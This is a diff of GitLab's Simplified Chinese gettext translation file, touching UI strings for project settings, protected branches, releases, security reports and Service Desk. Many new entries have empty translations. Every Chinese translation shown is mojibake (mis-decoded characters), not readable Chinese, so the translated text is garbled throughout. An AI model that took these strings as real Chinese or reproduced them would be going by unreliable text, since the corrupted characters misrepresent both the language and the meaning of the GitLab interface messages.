-msgid "ProjectService|Event will be triggered when someone adds a comment"
-msgstr "当有人添加评论时事件将被触å‘"
+msgid "ProjectService|Mock service URL"
+msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
-msgstr "当有人å‘ç§å¯†è®®é¢˜æ·»åŠ è¯„论时事件将被触å‘"
+msgid "ProjectService|New issue URL"
+msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr "在GitLab项目上执行常è§æ“作: %{project_name}"
-msgid "ProjectService|To set up this service:"
-msgstr "è¦è®¾ç½®æ­¤æœåŠ¡ï¼š"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
-msgstr "å½±å“åˆå¹¶æ‰§è¡Œæ–¹å¼å’Œæ—¶é—´çš„其他åˆå¹¶è¯·æ±‚功能"
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
+msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
msgstr "所有讨论都必须解决"
@@ -23466,26 +24075,29 @@ msgstr "容器镜åƒåº“"
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr "ç¦ç”¨ç”µå­é‚®ä»¶é€šçŸ¥"
msgid "ProjectSettings|Do not allow"
msgstr "ä¸å…许"
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
-msgstr "默认å¯ç”¨\"删除æºåˆ†æ”¯\"选项"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
+msgstr ""
-msgid "ProjectSettings|Enable merge trains."
-msgstr "å¯ç”¨åˆå¹¶åˆ—车。"
+msgid "ProjectSettings|Enable merge trains"
+msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
-msgstr "å¯ç”¨åˆå¹¶ç»“æžœæµæ°´çº¿ã€‚"
+msgid "ProjectSettings|Enable merged results pipelines"
+msgstr ""
msgid "ProjectSettings|Encourage"
msgstr "建议"
-msgid "ProjectSettings|Every merge creates a merge commit"
-msgstr "æ¯æ¬¡åˆå¹¶éƒ½ä¼šåˆ›å»ºåˆå¹¶æ交"
+msgid "ProjectSettings|Every merge creates a merge commit."
+msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
msgstr "æ¯ä¸ªé¡¹ç›®éƒ½å¯ä»¥æœ‰è‡ªå·±çš„空间æ¥å­˜å‚¨å…¶Dockeré•œåƒ"
@@ -23496,8 +24108,8 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "所有人"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
-msgstr "现有åˆå¹¶è¯·æ±‚å’Œå—ä¿æŠ¤çš„分支ä¸å—å½±å“"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
+msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
msgstr "ä¿æŠ¤æ ‡ç­¾å¤±è´¥"
@@ -23508,8 +24120,8 @@ msgstr "更新标签失败ï¼"
msgid "ProjectSettings|Fast-forward merge"
msgstr "å¿«è¿›å¼(Fast-forward)åˆå¹¶"
-msgid "ProjectSettings|Fast-forward merges only"
-msgstr "ä»…å¿«è¿›å¼(Fast-forward)åˆå¹¶"
+msgid "ProjectSettings|Fast-forward merges only."
+msgstr ""
msgid "ProjectSettings|Forks"
msgstr "派生"
@@ -23520,12 +24132,12 @@ msgstr "Git大文件存储 (LFS)"
msgid "ProjectSettings|Global"
msgstr "全局"
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
-msgstr "如果在CI/CD é…置文件中å¯ç”¨äº†åˆå¹¶è¯·æ±‚çš„æµæ°´çº¿ï¼Œæµæ°´çº¿å°†éªŒè¯æºå’Œç›®æ ‡åˆ†æ”¯çš„åˆå¹¶ç»“果。"
-
msgid "ProjectSettings|Internal"
msgstr "内部"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
+msgstr ""
+
msgid "ProjectSettings|Issues"
msgstr "议题"
@@ -23556,11 +24168,14 @@ msgstr "åˆå¹¶é€‰é¡¹"
msgid "ProjectSettings|Merge requests"
msgstr "åˆå¹¶è¯·æ±‚"
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr "åˆå¹¶å»ºè®®"
-msgid "ProjectSettings|No merge commits are created"
-msgstr "未创建åˆå¹¶æ交"
+msgid "ProjectSettings|No merge commits are created."
+msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
msgstr "注æ„:公开项目中容器镜åƒåº“始终å¯è§"
@@ -23583,15 +24198,9 @@ msgstr "Pages"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "æµæ°´çº¿"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr "æµæ°´çº¿å¿…é¡»æˆåŠŸ"
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr "需é…ç½®æµæ°´çº¿ä»¥å¯ç”¨æ­¤åŠŸèƒ½ã€‚"
-
msgid "ProjectSettings|Private"
msgstr "ç§æœ‰"
@@ -23622,8 +24231,8 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
-msgstr "在åˆå¹¶è¯·æ±‚中设置此选项的默认行为和å¯ç”¨æ€§ï¼Œæ‰€åšçš„更改也适用于现有的åˆå¹¶è¯·æ±‚。"
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
+msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
msgstr ""
@@ -23631,8 +24240,8 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr "显示默认的奖励表情符å·"
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
-msgstr "从命令行推é€æ—¶æ˜¾ç¤ºåˆ›å»º/查看åˆå¹¶è¯·æ±‚的链接"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
+msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
msgstr "跳过的æµæ°´çº¿è§†ä¸ºæˆåŠŸ"
@@ -23652,17 +24261,14 @@ msgstr "永远ä¸ä¼šæ‰§è¡ŒåŽ‹ç¼©ï¼Œå¹¶ä¸”该å¤é€‰æ¡†æ˜¯éšè—的。"
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr "用于应用åˆå¹¶è¯·æ±‚建议的æ交消æ¯"
-
-msgid "ProjectSettings|The variables GitLab supports:"
-msgstr "GitLab支æŒçš„å˜é‡ä¸ºï¼š"
+msgid "ProjectSettings|Supported variables:"
+msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
-msgstr "åˆå¹¶è¯·æ±‚在通过这些检查åŽæ‰å¯è¢«åˆå¹¶"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
+msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
-msgstr "这将会带æ¥åˆå¹¶å…¥æ— æ³•é€šè¿‡æµæ°´çº¿çš„更改之风险。"
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
+msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
msgstr "此设置已应用于æœåŠ¡å™¨çº§åˆ«ï¼Œå¯ç”±ç®¡ç†å‘˜ä¿®æ”¹ã€‚"
@@ -23673,12 +24279,15 @@ msgstr "此设置应用于æœåŠ¡å™¨çº§åˆ«ï¼Œä½†å·²è¢«è¯¥é¡¹ç›®è¦†ç›–。"
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr "此设置将应用于所有项目,除éžè¢«ç®¡ç†å‘˜è¦†ç›–。"
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
-msgstr "这将对åˆå¹¶è¯·æ±‚完æˆæ—¶çš„æ交历å²è®°å½•äº§ç”Ÿå½±å“"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr "转移项目"
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,11 +24315,11 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
-msgstr "当批准åˆå¹¶æ—¶ï¼Œåˆå¹¶è¯·æ±‚将会加入队列,æµæ°´çº¿åœ¨å®žé™…åˆå¹¶å‰éªŒè¯æºå’Œç›®æ ‡åˆ†æ”¯çš„åˆå¹¶ç»“果。"
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
+msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
-msgstr "当出现冲çªæ—¶ï¼Œç”¨æˆ·å¯ä»¥é€‰æ‹©rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
+msgstr ""
msgid "ProjectSettings|Wiki"
msgstr "Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr "å…许åˆå¹¶"
@@ -24264,8 +24882,8 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr "代ç æ‰€æœ‰è€…批准"
-msgid "ProtectedBranch|Does not apply to users allowed to push."
-msgstr "ä¸é€‚用于å…许直接推é€çš„用户。"
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
+msgstr ""
msgid "ProtectedBranch|Protect"
msgstr "ä¿æŠ¤"
@@ -24285,6 +24903,9 @@ msgstr "需è¦ä»£ç æ‰€æœ‰è€…的批准:"
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr "当å‰æ²¡æœ‰å—ä¿æŠ¤çš„分支,请使用上述表å•æ¥ä¿æŠ¤åˆ†æ”¯ã€‚"
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr "切æ¢ä»£ç æ‰€æœ‰è€…的批准"
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,8 +25269,8 @@ msgstr "é™ä½Žé¡¹ç›®å¯è§æ€§"
msgid "Reduce this project’s visibility?"
msgstr "é™ä½Žæ­¤é¡¹ç›®å¯è§æ€§å—?"
-msgid "Reference:"
-msgstr "标识:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr "引用"
@@ -24809,8 +25430,8 @@ msgstr "å‘布"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr "å‘布基于Git标签,并标记项目开å‘历å²ä¸­çš„特定点。它们å¯ä»¥åŒ…å«æœ‰å…³æ›´æ”¹ç±»åž‹çš„ä¿¡æ¯ï¼Œè¿˜å¯ä»¥æ供二进制文件,例如软件的编译版本。"
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
-msgstr "å‘布基于Git标签。我们建议使用语义化版本标签,例如%{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}。"
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
+msgstr ""
msgid "Releases documentation"
msgstr "å‘布文档"
@@ -24821,8 +25442,8 @@ msgstr "新版本"
msgid "Release|Something went wrong while creating a new release"
msgstr "创建新å‘布时出现错误"
-msgid "Release|Something went wrong while getting the release details"
-msgstr "获å–å‘布详细信æ¯æ—¶å‡ºé”™"
+msgid "Release|Something went wrong while getting the release details."
+msgstr ""
msgid "Release|Something went wrong while saving the release details"
msgstr "ä¿å­˜å‘布详细信æ¯æ—¶å‡ºé”™"
@@ -24845,6 +25466,9 @@ msgstr "删除%{displayReference}"
msgid "Remove Zoom meeting"
msgstr "删除Zoom会议"
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "删除所有或特定指派人"
@@ -24893,9 +25517,6 @@ msgstr "删除派生关系"
msgid "Remove from batch"
msgstr "从批é‡ä¸­ç§»é™¤"
-msgid "Remove from board"
-msgstr "从看æ¿ç§»é™¤"
-
msgid "Remove from epic"
msgstr "从å²è¯—中移除"
@@ -25142,6 +25763,9 @@ msgstr "å‘管ç†å‘˜æŠ¥å‘Šæ»¥ç”¨è¡Œä¸º"
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "由%{reportedBy}报告于%{timeAgo}"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr "由%{reporter}报告"
@@ -25183,8 +25807,8 @@ msgstr "加载%{name}结果时出错"
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "ç±»"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr "ç±»å"
@@ -25203,6 +25827,12 @@ msgstr[0] "过去14天中在%{base_branch}上,失败了%{count} 次"
msgid "Reports|Failure"
msgstr "失败"
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr "标识符"
@@ -25329,6 +25959,9 @@ msgstr "仓库检查"
msgid "Repository check was triggered."
msgstr "已触å‘仓库检查。"
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr "仓库清ç†"
@@ -25425,6 +26058,9 @@ msgstr "请求分æž"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr "当ä¸å…许æ¥è‡ªé’©å­å’ŒæœåŠ¡çš„本地请求时,将å…许对本地网络上这些域/地å€çš„请求。å¯æ”¯æŒIP范围,例如1:0:0:0:0:0:0:0/124或127.0.0.0/28。当å‰ä¸æ”¯æŒåŸŸé€šé…符。多个æ¡ç›®éœ€ä½¿ç”¨é€—å·ï¼Œåˆ†å·æˆ–æ¢è¡Œç¬¦åˆ†éš”。å…许åå•æœ€å¤šå¯å®¹çº³1000个æ¡ç›®ã€‚域应使用IDNAç¼–ç ã€‚例如:example.com,192.168.1.1ã€127.0.0.0/28, xn--itlab-j1a.com。"
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr "需è¦ç®¡ç†å‘˜æ‰¹å‡†æ‰èƒ½è¿›è¡Œæ–°æ³¨å†Œ"
@@ -25729,7 +26365,10 @@ msgstr "撤销个人访问令牌 %{personal_access_token_name}ï¼"
msgid "Revoked project access token %{project_access_token_name}!"
msgstr "撤销项目访问令牌%{project_access_token_name}ï¼"
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr "版本"
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr "共享的"
@@ -25906,9 +26548,6 @@ msgstr "您已使用了%{quotaUsed},超出了共享æµæ°´çº¿æ—¶é—´é…é¢é™åˆ¶
msgid "Running"
msgstr "è¿è¡Œä¸­"
-msgid "Running…"
-msgstr "è¿è¡Œä¸­..."
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "在当å‰ä»“库中è¿è¡Œä¸€äº›ä¾‹è¡Œç»´æŠ¤ä»»åŠ¡ï¼Œä¾‹å¦‚压缩文件修订和删除无法访问的对象。"
@@ -26005,6 +26644,9 @@ msgstr "测试å‰ä¿å­˜æ›´æ”¹"
msgid "Save comment"
msgstr "ä¿å­˜è¯„论"
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "ä¿å­˜å¯†ç "
@@ -26023,6 +26665,9 @@ msgstr "ä¿å­˜ä¸­"
msgid "Saving project."
msgstr "正在ä¿å­˜é¡¹ç›®ã€‚"
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr "扫æ工具"
@@ -26047,9 +26692,6 @@ msgstr "计划"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr "计划åˆå¹¶æ­¤åˆå¹¶è¯·æ±‚ (%{strategy})。"
-msgid "Scheduling"
-msgstr "计划"
-
msgid "Scheduling Pipelines"
msgstr "æµæ°´çº¿è®¡åˆ’"
@@ -26101,6 +26743,9 @@ msgstr "æœç´¢ç¾¤ç»„"
msgid "Search an environment spec"
msgstr "æœç´¢çŽ¯å¢ƒè§„则"
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr "æœç´¢ä½œè€…"
@@ -26152,6 +26797,9 @@ msgstr "æœç´¢æ­¤æ–‡æœ¬"
msgid "Search forks"
msgstr "æœç´¢æ´¾ç”Ÿ"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr "æœç´¢åˆå¹¶è¯·æ±‚"
msgid "Search milestones"
msgstr "æœç´¢é‡Œç¨‹ç¢‘"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "æœç´¢æˆ–筛选结果......"
@@ -26355,6 +27006,9 @@ msgstr "当结果中包å«æ‹’ç»çš„许å¯è¯æ—¶æ ¸å‡†ä¸ºå¿…须。%{linkStart}æ›´
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr "创建åˆå¹¶è¯·æ±‚时出错。"
@@ -26430,27 +27084,33 @@ msgstr "查看历å²"
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr "您å¯ä»¥é€šè¿‡å¯ç”¨%{linkStart}Auto DevOps%{linkEnd}æ¥å¿«é€Ÿå¯ç”¨æ‰€æœ‰å®‰å…¨æ‰«æ工具。"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
+msgstr ""
+
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr "%{firstProject}和%{secondProject}"
msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr "%{firstProject},%{secondProject},åŠ%{rest}"
-msgid "SecurityReports|Add a project to your dashboard"
-msgstr "添加一个项目到仪表æ¿"
-
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr "添加或删除安全区内的项目。 此列表中项目的扫æ结果将显示在安全仪表æ¿å’Œæ¼æ´žæŠ¥å‘Šä¸­ã€‚"
msgid "SecurityReports|Add projects"
msgstr "添加项目"
-msgid "SecurityReports|Add projects to your group"
-msgstr "添加项目到您的群组"
-
msgid "SecurityReports|All"
msgstr ""
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
+msgstr ""
+
msgid "SecurityReports|Change status"
msgstr ""
@@ -26463,6 +27123,9 @@ msgstr "评论已从'%{vulnerabilityName}' 删除"
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr "在'%{vulnerabilityName}' 上的评论已编辑"
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,8 +27183,23 @@ msgstr "ç”±æ¼æ´žç”Ÿæˆçš„议题ä¸å¯è¢«åˆ é™¤ã€‚"
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr "了解更多关于仪表æ¿åˆ›å»ºçš„ä¿¡æ¯"
-msgid "SecurityReports|Monitor vulnerabilities in your code"
-msgstr "监控代ç ä¸­çš„æ¼æ´ž"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
+msgstr ""
+
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
msgid "SecurityReports|Monitored projects"
msgstr "监控的项目"
@@ -26529,9 +27207,6 @@ msgstr "监控的项目"
msgid "SecurityReports|More info"
msgstr "更多信æ¯"
-msgid "SecurityReports|More information"
-msgstr "更多信æ¯"
-
msgid "SecurityReports|No activity"
msgstr ""
@@ -26595,15 +27270,6 @@ msgstr "对ä¸èµ·ï¼Œæ²¡æœ‰ç¬¦åˆç­›é€‰å™¨çš„任何结果"
msgid "SecurityReports|Status"
msgstr "状æ€"
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr "安全仪表æ¿æ˜¾ç¤ºæ‚¨è¦ç›‘测项目的最新安全扫æ结果。将项目添加到群组中åŽå¯äºŽæ­¤å¤„æ¥æŸ¥çœ‹å…¶ä¸­çš„安全æ¼æ´žã€‚"
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr "安全é¢æ¿æ˜¾ç¤ºæ‚¨è¦ç›‘测项目的最新安全扫æ结果。选择“编辑仪表æ¿â€æ¥æ·»åŠ å¹¶ç§»é™¤é¡¹ç›®ã€‚"
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr "SecurityDashboard| 安全仪表æ¿æ˜¾ç¤ºæœ€æ–°çš„安全报告。å¯ä»¥ä½¿ç”¨å®ƒæ¥æŸ¥æ‰¾å’Œä¿®å¤æ¼æ´žã€‚"
-
msgid "SecurityReports|There was an error adding the comment."
msgstr "添加评论时出错。"
@@ -26655,9 +27321,6 @@ msgstr "æ¼æ´žæŠ¥å‘Š"
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr "虽然您的æµæ°´çº¿ä¸­æ²¡æœ‰æ¼æ´žï¼Œè¿™ç§çŽ°è±¡å¾ˆç½•è§ï¼Œä½†ä¹Ÿæ˜¯æœ‰å¯èƒ½çš„。无论如何,建议您仔细检查设置以确ä¿ä»ªè¡¨æ¿çš„é…置正确。"
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr "虽然没有å‘现æ¼æ´žï¼Œè¿™ç§çŽ°è±¡å¾ˆç½•è§ï¼Œä½†ä¹Ÿæ˜¯æœ‰å¯èƒ½çš„。无论如何,建议您仔细检查设置以确ä¿ä»ªè¡¨æ¿çš„é…置正确。"
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr "您没有足够的æƒé™è®¿é—®æ­¤æŠ¥å‘Š"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "您必须以授æƒç”¨æˆ·èº«ä»½ç™»å½•æ‰èƒ½æŸ¥çœ‹æ­¤æŠ¥å‘Š"
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr "å‚è§GitLabçš„%{password_policy_guidelines}"
@@ -26706,6 +27366,9 @@ msgstr "选择页é¢"
msgid "Select Stack"
msgstr "选择栈"
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr "请先从左侧边æ é€‰æ‹©ä¸€ä¸ªæ–‡ä»¶å¼€å§‹ç¼–辑,然åŽå°±å¯ä»¥æ交您的更改了。"
@@ -26715,8 +27378,8 @@ msgstr "选择è¦é‚€è¯·çš„组"
msgid "Select a label"
msgstr "选择一个标记"
-msgid "Select a namespace to fork the project"
-msgstr "选择一个命å空间æ¥æ´¾ç”Ÿé¡¹ç›®"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "选择一个新的命å空间"
@@ -26745,9 +27408,15 @@ msgstr "选择时区"
msgid "Select all"
msgstr "选择全部"
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr "选择指派人"
@@ -26802,9 +27471,6 @@ msgstr "按项目选择地域"
msgid "Select projects"
msgstr "选择项目"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr "选择审核者"
@@ -26898,6 +27564,9 @@ msgstr "自我监控项目已æˆåŠŸåˆ›å»ºã€‚"
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr "自我监控项目已æˆåŠŸåˆ é™¤."
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27036,21 +27705,45 @@ msgstr "æœåŠ¡å°"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
-msgstr "æœåŠ¡å°å·²å¯ç”¨ä½†å°šæœªæ¿€æ´»"
-
-msgid "Service Desk is not enabled"
-msgstr "æœåŠ¡å°æœªå¯ç”¨"
-
-msgid "Service Desk is not supported"
-msgstr "ä¸æ”¯æŒæœåŠ¡å°"
-
msgid "Service Templates"
msgstr "æœåŠ¡æ¨¡æ¿"
msgid "Service URL"
msgstr "æœåŠ¡ URL"
+msgid "ServiceDesk|Enable Service Desk"
+msgstr ""
+
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
+msgstr ""
+
msgid "Session ID"
msgstr "ä¼šè¯ ID"
@@ -27150,6 +27843,9 @@ msgstr "设置群组æ¯ä¸ªæœˆå¯åœ¨å…±äº«Runner上使用的最大æµæ°´çº¿åˆ†é’Ÿ
msgid "Set the milestone to %{milestone_reference}."
msgstr "将里程碑设置为%{milestone_reference}。"
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr "设置å‘主节点å‘é€æ¬¡è¦èŠ‚点状æ€å’Œå…许次è¦èŠ‚点的IP的超时时间(秒)。"
@@ -27204,8 +27900,8 @@ msgstr "设置此次è¦èŠ‚点应该å¤åˆ¶çš„内容。"
msgid "SetPasswordToCloneLink|set a password"
msgstr "设置密ç "
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
-msgstr "\"忙碌\"将显示在您的åå­—æ—边。"
